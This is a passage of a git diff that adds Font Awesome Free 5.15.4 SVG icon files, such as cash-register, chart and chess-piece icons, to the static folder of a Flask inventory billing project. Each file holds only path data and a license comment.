16-16v-16c0-8.837-7.163-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cash-register.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cash-register.svg new file mode 100644 index 00000000..da0119a5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cash-register.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M511.1 378.8l-26.7-160c-2.6-15.4-15.9-26.7-31.6-26.7H208v-64h96c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96v64H59.1c-15.6 0-29 11.3-31.6 26.7L.8 378.7c-.6 3.5-.9 7-.9 10.5V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-90.7c.1-3.5-.2-7-.8-10.5zM280 248c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16zm-32 64h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16zm-32-80c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16zM80 80V48h192v32H80zm40 200h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16zm16 64v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16zm216 112c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16zm24-112c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16zm48-80c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cat.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cat.svg new file mode 100644 index 00000000..ac113595 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cat.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M290.59 192c-20.18 0-106.82 1.98-162.59 85.95V192c0-52.94-43.06-96-96-96-17.67 0-32 14.33-32 32s14.33 32 32 32c17.64 0 32 14.36 32 32v256c0 35.3 28.7 64 64 64h176c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-32l128-96v144c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V289.86c-10.29 2.67-20.89 4.54-32 4.54-61.81 0-113.52-44.05-125.41-102.4zM448 96h-64l-64-64v134.4c0 53.02 42.98 96 96 96s96-42.98 96-96V32l-64 64zm-72 80c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm80 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/certificate.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/certificate.svg new file mode 100644 index 00000000..a02c60ae --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/certificate.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M458.622 255.92l45.985-45.005c13.708-12.977 7.316-36.039-10.664-40.339l-62.65-15.99 17.661-62.015c4.991-17.838-11.829-34.663-29.661-29.671l-61.994 17.667-15.984-62.671C337.085.197 313.765-6.276 300.99 7.228L256 53.57 211.011 7.229c-12.63-13.351-36.047-7.234-40.325 10.668l-15.984 62.671-61.995-17.667C74.87 57.907 58.056 74.738 63.046 92.572l17.661 62.015-62.65 15.99C.069 174.878-6.31 197.944 7.392 210.915l45.985 45.005-45.985 45.004c-13.708 12.977-7.316 36.039 10.664 40.339l62.65 15.99-17.661 62.015c-4.991 17.838 11.829 34.663 29.661 29.671l61.994-17.667 15.984 62.671c4.439 18.575 27.696 24.018 40.325 10.668L256 458.61l44.989 46.001c12.5 13.488 35.987 7.486 40.325-10.668l15.984-62.671 61.994 17.667c17.836 4.994 34.651-11.837 29.661-29.671l-17.661-62.015 62.65-15.99c17.987-4.302 24.366-27.367 10.664-40.339l-45.984-45.004z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chair.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chair.svg new file mode 100644 index 00000000..02989329 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chair.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M112 128c0-29.5 16.2-55 40-68.9V256h48V48h48v208h48V59.1c23.8 13.9 40 39.4 40 68.9v128h48V128C384 57.3 326.7 0 256 0h-64C121.3 0 64 57.3 64 128v128h48zm334.3 213.9l-10.7-32c-4.4-13.1-16.6-21.9-30.4-21.9H42.7c-13.8 0-26 8.8-30.4 21.9l-10.7 32C-5.2 362.6 10.2 384 32 384v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384h256v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384c21.8 0 37.2-21.4 30.3-42.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chalkboard-teacher.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chalkboard-teacher.svg new file mode 100644 index 00000000..d1c32d17 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chalkboard-teacher.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M208 352c-2.39 0-4.78.35-7.06 1.09C187.98 357.3 174.35 360 160 360c-14.35 0-27.98-2.7-40.95-6.91-2.28-.74-4.66-1.09-7.05-1.09C49.94 352-.33 402.48 0 464.62.14 490.88 21.73 512 48 512h224c26.27 0 47.86-21.12 48-47.38.33-62.14-49.94-112.62-112-112.62zm-48-32c53.02 0 96-42.98 96-96s-42.98-96-96-96-96 42.98-96 96 42.98 96 96 96zM592 0H208c-26.47 0-48 22.25-48 49.59V96c23.42 0 45.1 6.78 64 17.8V64h352v288h-64v-64H384v64h-76.24c19.1 16.69 33.12 38.73 39.69 64H592c26.47 0 48-22.25 48-49.59V49.59C640 22.25 618.47 0 592 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chalkboard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chalkboard.svg new file mode 100644 index 00000000..850b9fd9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chalkboard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 64h448v352h64V40c0-22.06-17.94-40-40-40H72C49.94 0 32 17.94 32 40v376h64V64zm528 384H480v-64H288v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/charging-station.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/charging-station.svg new file mode 100644 index 00000000..5af9a728 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/charging-station.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h320c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm208-320V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-32V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-16c-8.84 0-16 7.16-16 16v32c0 35.76 23.62 65.69 56 75.93v118.49c0 13.95-9.5 26.92-23.26 29.19C431.22 402.5 416 388.99 416 372v-28c0-48.6-39.4-88-88-88h-8V64c0-35.35-28.65-64-64-64H96C60.65 0 32 28.65 32 64v352h288V304h8c22.09 0 40 17.91 40 40v24.61c0 39.67 28.92 75.16 68.41 79.01C481.71 452.05 520 416.41 520 372V251.93c32.38-10.24 56-40.17 56-75.93v-32c0-8.84-7.16-16-16-16h-16zm-283.91 47.76l-93.7 139c-2.2 3.33-6.21 5.24-10.39 5.24-7.67 0-13.47-6.28-11.67-12.92L167.35 224H108c-7.25 0-12.85-5.59-11.89-11.89l16-107C112.9 99.9 117.98 96 124 96h68c7.88 0 13.62 6.54 11.6 13.21L192 160h57.7c9.24 0 15.01 8.78 10.39 15.76z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-area.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-area.svg new file mode 100644 index 00000000..586ecccd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-area.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M500 384c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v308h436zM372.7 159.5L288 216l-85.3-113.7c-5.1-6.8-15.5-6.3-19.9 1L96 248v104h384l-89.9-187.8c-3.2-6.5-11.4-8.7-17.4-4.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-bar.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-bar.svg new file mode 100644 index 00000000..36fafddc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-bar.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M332.8 320h38.4c6.4 0 12.8-6.4 12.8-12.8V172.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V76.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-288 0h38.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zM496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-line.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-line.svg new file mode 100644 index 00000000..aaf8971b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-line.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM464 96H345.94c-21.38 0-32.09 25.85-16.97 40.97l32.4 32.4L288 242.75l-73.37-73.37c-12.5-12.5-32.76-12.5-45.25 0l-68.69 68.69c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L192 237.25l73.37 73.37c12.5 12.5 32.76 12.5 45.25 0l96-96 32.4 32.4c15.12 15.12 40.97 4.41 40.97-16.97V112c.01-8.84-7.15-16-15.99-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-pie.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-pie.svg new file mode 100644 index 00000000..39465796 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chart-pie.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 544 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M527.79 288H290.5l158.03 158.03c6.04 6.04 15.98 6.53 22.19.68 38.7-36.46 65.32-85.61 73.13-140.86 1.34-9.46-6.51-17.85-16.06-17.85zm-15.83-64.8C503.72 103.74 408.26 8.28 288.8.04 279.68-.59 272 7.1 272 16.24V240h223.77c9.14 0 16.82-7.68 16.19-16.8zM224 288V50.71c0-9.55-8.39-17.4-17.84-16.06C86.99 51.49-4.1 155.6.14 280.37 4.5 408.51 114.83 513.59 243.03 511.98c50.4-.63 96.97-16.87 135.26-44.03 7.9-5.6 8.42-17.23 1.57-24.08L224 288z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check-circle.svg new file mode 100644 index 00000000..e8fc9148 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM227.314 387.314l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.249-16.379-6.249-22.628 0L216 308.118l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.249 16.379 6.249 22.628.001z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check-double.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check-double.svg new file mode 100644 index 00000000..76ff275a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check-double.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M505 174.8l-39.6-39.6c-9.4-9.4-24.6-9.4-33.9 0L192 374.7 80.6 263.2c-9.4-9.4-24.6-9.4-33.9 0L7 302.9c-9.4 9.4-9.4 24.6 0 34L175 505c9.4 9.4 24.6 9.4 33.9 0l296-296.2c9.4-9.5 9.4-24.7.1-34zm-324.3 106c6.2 6.3 16.4 6.3 22.6 0l208-208.2c6.2-6.3 6.2-16.4 0-22.6L366.1 4.7c-6.2-6.3-16.4-6.3-22.6 0L192 156.2l-55.4-55.5c-6.2-6.3-16.4-6.3-22.6 0L68.7 146c-6.2 6.3-6.2 16.4 0 22.6l112 112.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check-square.svg new file mode 100644 index 00000000..447c5257 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zm-204.686-98.059l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.248-16.379-6.249-22.628 0L184 302.745l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.25 16.379 6.25 22.628.001z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check.svg new file mode 100644 index 00000000..d98354cf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/check.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cheese.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cheese.svg new file mode 100644 index 00000000..3366ebbd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cheese.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 288v160a32 32 0 0 0 32 32h448a32 32 0 0 0 32-32V288zM299.83 32a32 32 0 0 0-21.13 7L0 256h512c0-119.89-94-217.8-212.17-224z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-bishop.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-bishop.svg new file mode 100644 index 00000000..b4375335 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-bishop.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M8 287.88c0 51.64 22.14 73.83 56 84.6V416h192v-43.52c33.86-10.77 56-33 56-84.6 0-30.61-10.73-67.1-26.69-102.56L185 285.65a8 8 0 0 1-11.31 0l-11.31-11.31a8 8 0 0 1 0-11.31L270.27 155.1c-20.8-37.91-46.47-72.1-70.87-92.59C213.4 59.09 224 47.05 224 32a32 32 0 0 0-32-32h-64a32 32 0 0 0-32 32c0 15 10.6 27.09 24.6 30.51C67.81 106.8 8 214.5 8 287.88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-board.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-board.svg new file mode 100644 index 00000000..0ce35a09 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-board.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M255.9.2h-64v64h64zM0 64.17v64h64v-64zM128 .2H64v64h64zm64 255.9v64h64v-64zM0 192.12v64h64v-64zM383.85.2h-64v64h64zm128 0h-64v64h64zM128 256.1H64v64h64zM511.8 448v-64h-64v64zm0-128v-64h-64v64zM383.85 512h64v-64h-64zm128-319.88v-64h-64v64zM128 512h64v-64h-64zM0 512h64v-64H0zm255.9 0h64v-64h-64zM0 320.07v64h64v-64zm319.88-191.92v-64h-64v64zm-64 128h64v-64h-64zm-64 128v64h64v-64zm128-64h64v-64h-64zm0-127.95h64v-64h-64zm0 191.93v64h64v-64zM64 384.05v64h64v-64zm128-255.9v-64h-64v64zm191.92 255.9h64v-64h-64zm-128-191.93v-64h-64v64zm128-127.95v64h64v-64zm-128 255.9v64h64v-64zm-64-127.95H128v64h64zm191.92 64h64v-64h-64zM128 128.15H64v64h64zm0 191.92v64h64v-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-king.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-king.svg new file mode 100644 index 00000000..ce64a9c4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-king.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 448H48a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm16-288H256v-48h40a8 8 0 0 0 8-8V56a8 8 0 0 0-8-8h-40V8a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v40h-40a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8h40v48H32a32 32 0 0 0-30.52 41.54L74.56 416h298.88l73.08-214.46A32 32 0 0 0 416 160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-knight.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-knight.svg new file mode 100644 index 00000000..e0d77a1a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-knight.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M19 272.47l40.63 18.06a32 32 0 0 0 24.88.47l12.78-5.12a32 32 0 0 0 18.76-20.5l9.22-30.65a24 24 0 0 1 12.55-15.65L159.94 208v50.33a48 48 0 0 1-26.53 42.94l-57.22 28.65A80 80 0 0 0 32 401.48V416h319.86V224c0-106-85.92-192-191.92-192H12A12 12 0 0 0 0 44a16.9 16.9 0 0 0 1.79 7.58L16 80l-9 9a24 24 0 0 0-7 17v137.21a32 32 0 0 0 19 29.26zM52 128a20 20 0 1 1-20 20 20 20 0 0 1 20-20zm316 320H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-pawn.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-pawn.svg new file mode 100644 index 00000000..853d52a4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-pawn.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M105.1 224H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h16v5.49c0 44-4.14 86.6-24 122.51h176c-19.89-35.91-24-78.51-24-122.51V288h16a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-25.1c29.39-18.38 49.1-50.78 49.1-88a104 104 0 0 0-208 0c0 37.22 19.71 69.62 49.1 88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-queen.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-queen.svg new file mode 100644 index 00000000..ccb3c2ae --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-queen.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 112a56 56 0 1 0-56-56 56 56 0 0 0 56 56zm176 336H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm72.87-263.84l-28.51-15.92c-7.44-5-16.91-2.46-22.29 4.68a47.59 47.59 0 0 1-47.23 18.23C383.7 186.86 368 164.93 368 141.4a13.4 13.4 0 0 0-13.4-13.4h-38.77c-6 0-11.61 4-12.86 9.91a48 48 0 0 1-93.94 